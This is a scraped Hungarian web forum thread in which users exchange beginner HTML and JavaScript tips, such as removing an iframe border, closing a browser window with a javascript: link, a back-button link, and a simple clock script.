[Szerkesztve]Thx!
ment priv! -
Sihto_
tag
Egy kis gondom van, mert az
iframe
mindig csinál nekem egy keretet, de ezt nem tudom eltüntetni. Mivel lehet teljesen eltüntetni?
Bővebben:� link
[Szerkesztve]Ugyanazok a dolgok használhatók ifram-nél,mint frame-nél
szóval a FRAMEBORDER kell-e keret értéke 0 vagy 1 lehet, de asszem csak ie alatt müködik.
[Szerkesztve] -
Protezis
őstag
Ezt a számot ugye el kell tárolni.
Kliens nem tárolhatja, ezt a szervernek kell nyilvántartania.
Tehát szerver oldali nyelv kell.
JavaScript nem szerver oldali nyelv.
-> Ajánlom a php topikot
-
sky77
aktív tag
Egy kis gondom van, mert az
iframe
mindig csinál nekem egy keretet, de ezt nem tudom eltüntetni. Mivel lehet teljesen eltüntetni?
Bővebben:� link
[Szerkesztve]PL így:
<iframe frameborder=0 width=''100%'' height=''100%'' src=''akármi.html''></iframe>
[Szerkesztve] -
Protezis
őstag
Én akkor kapok ilyen
![[kép] [kép]](http://hujikolp.uw.hu/letoltesek/bezarja.gif)
üzenetet ha ezt a kódót írom be hozzá:<img name=''kep2'' src=''http://hujikolp.uw.hu/index_elemei/kerdes-
nem.png'' alt=''Kilépés'' border=0 onmouseover
=''kep2.src='http://hujikolp.uw.hu/index_elemei/kerdes-nem2.png''' onmouseout
=''kep2.src='http://hujikolp.uw.hu/index_elemei/kerdes-nem.png'''
onClick=''window.close();''>
És itt a vastagítottatt nézd!
Amit te mondtál:<a href=''javascript:window.close()''>valami</a>
IE-ban még nem probáltam csak sajátgépen, ha neten ez a kód van akkor bezárja?? Ugyanis azt elfelejtettem kiprobálni, most teszem akkor +! Ja és amit én használok (UP) azt a PH!-ról szedtem de mindig rákérdez hogy bezárja-e, ez azért van mert nincs elegendő Jáva programkód csak egy ''hivatkozás''?
A visszaugratóval szemben csak kiegészítem a tiedet:<a href=''javascript:history.back(1)''>Vissza</a>
Azért kösz mindent!
Kérdéseim egy helyen
:
Ki tud olyan parancsot vagy vmit amivel ha beírunk egy szöveget és egy gombra kattintunk akkor a beírt szöveget és egyebeket lementse egy filébe?
Letöltésszámlálót tud v.ki készíteni?? Vagy tud mondani linket??
[Szerkesztve]Direkt nem onClick-kel adtam a megoldást, hanem href-fel.
<a href=''javascript:window.close()''>
<img name=''kep2'' src=''http://hujikolp.uw.hu/index_elemei/kerdes-
nem.png'' alt=''Kilépés'' border=0 onmouseover
=''kep2.src='http://hujikolp.uw.hu/index_elemei/kerdes-nem2.png''' onmouseout
=''kep2.src='http://hujikolp.uw.hu/index_elemei/kerdes-nem.png'''>
</a>
Mod: Nem próbáltam ki, de idézőjelek 100% rosszak!
Tehát valami helyett rakod be a képet. Pont hasonló esetekre csinálták a javascript: típusú hivatkozást (biztos, hogy rossz szakszavakat használok, rég olvastam javascript doksit, meg nem is izgat, hogy nevén nevezzem a dolgokat)
Szóval a href nem egy fájl, hanem egy javascript függvény.
Amúgy nem igazán értem, onClick-kel is működnie kéne. Nem azt akarod, hogy rákatt a képre, és bezárja az ablakot? Ez azt csinálja, bár rákérdez, és csak IE-vel megy.
De itt pl egy link: Bővebben: link
A fájlba mentést php-vel oldanám meg, ugyanis javascript kliens oldali nyelv, fájlba nem igazán tud menteni. Legalábbis szerverre nem. Nem vagyok nagy javascriptes!, így nem fogadnék, de biztos vagyok benne
[Szerkesztve] -
Protezis
őstag
IE-ben erre be kellene jönnie egy ablaknak, hogy tényleg be akarod -e zárni az ablakot (mármint a nagyot). A visszaugratós az más, az tán history.back() , de ezt most egyáltalán nem biztos, kisebb! ivászaton vagyok túl.

A kis ablak nem jön be neked? -
Protezis
őstag
Azt milyen parancsal lehet megcsinálni hogy ha rákattintunk a képra akkor az aktuális ablakot bezárja? Gombal v.hogy meglehet mert itt a pron is van.
Cserébe küldök egy órát ami kimutatja hogy mennyi az idö:
<BODY onload=jsClock()>
<SCRIPT language=JavaScript>
<!-- hide from old browsers
function jsClock(){
var time = new Date()
var hour = time.getHours()
var minute = time.getMinutes()
var second = time.getSeconds()
var temp = '''' + ((hour > 12) ? hour - 12 : hour)
if(hour==0) temp = ''12''
if(temp.length==1) temp = '' '' + temp
temp += ((minute < 10) ? '':0'' : '':'') + minute
temp += ((second < 10) ? '':0'' : '':'') + second
temp += (hour >= 12) ? '' PM'' : '' AM''
document.clockForm.digits.value = temp
id = setTimeout(''jsClock()'',1000)
}
//-->
</SCRIPT>
<FORM name=clockForm>
<P><FONT face=''Courier New,Courier'' size=3><B><INPUT size=11 value=Loading
name=digits></B> </FONT></P></FORM><a href=''javascript:window.close()''>valami</a>
Valami helyett persze lehet kép is. Ha másolod, figyelj az idézőjelekre!
Most nézem, IE alatt működik csak. Soha nem használtam, régen próbáltam csak, akkor meg örültem, ha IE-n ment valami.
Új hozzászólás Aktív témák
-
Fórumok
LOGOUT - lépj ki, lépj be!
LOGOUT reakciók Monologoszféra FototrendGAMEPOD - játék fórumok
PC játékok Konzol játékok MobiljátékokPROHARDVER! - hardver fórumok
Notebookok TV & Audió Digitális fényképezés Alaplapok, chipsetek, memóriák Processzorok, tuning Hűtés, házak, tápok, modding Videokártyák Monitorok Adattárolás Multimédia, életmód, 3D nyomtatás Nyomtatók, szkennerek Tabletek, E-bookok PC, mini PC, barebone, szerver Beviteli eszközök Egyéb hardverek PROHARDVER! BlogokMobilarena - mobil fórumok
Okostelefonok Mobiltelefonok Okosórák Autó+mobil Üzlet és Szolgáltatások Mobilalkalmazások Tartozékok, egyebek Mobilarena blogokIT café - infotech fórumok
Infotech Hálózat, szolgáltatók OS, alkalmazások SzoftverfejlesztésFÁRADT GŐZ - közösségi tér szinte bármiről
Tudomány, oktatás Sport, életmód, utazás, egészség Kultúra, művészet, média Gazdaság, jog Technika, hobbi, otthon Társadalom, közélet Egyéb Lokál PROHARDVER! interaktív
- HP EliteBook 655 G10 15" Ryzen 5 PRO 7530U 32GB RAM Garancia 2028.02.27.
- AKCIÓ! AMD Ryzen 7 5800X3D 8 mag 16 szál processzor garanciával hibátlan működéssel
- Akciós kisWorkstation! Dell Precision 3570 i7-1255U 4.7GHz / 16GB / 512GB / Quadro T550 4GB FHD 15"
- ÁRGARANCIA! Épített KomPhone i9 14900KF 64GB RAM RTX 5090 32GB GAMER PC termékbeszámítással
- Samsung Galaxy S21+ / 8/128GB / Kártyafüggetlen / 12Hó Garancia
Állásajánlatok
Cég: Laptopműhely Bt.
Város: Budapest





Nekem ezzel működik.
Igaz, én nem olvastam el ezt a könyvet, de szerintem igen hasznos lehet. Ennek a sorozatnak a PHP4-es verzióját olvastam el, és nagyon jól elmagyarázták benne a dolgokat, lényegesen, sok felesleg, és szakkifejezés nélkül. Magyarán, érthető volt
![;]](http://cdn.rios.hu/dl/s/v1.gif)
De akkor mi ez?
sajnos még nincs feltöltve pedig szerintem teljesen jó
illetve ha sok képet pakolok fel meg se jeleníti
)
azt hallotam flash-el jobban járnék, szerinted is flash-ben kéne próbálkozzak?(flash-ben sem vagyok profi de elég gyorsan tanulok
)



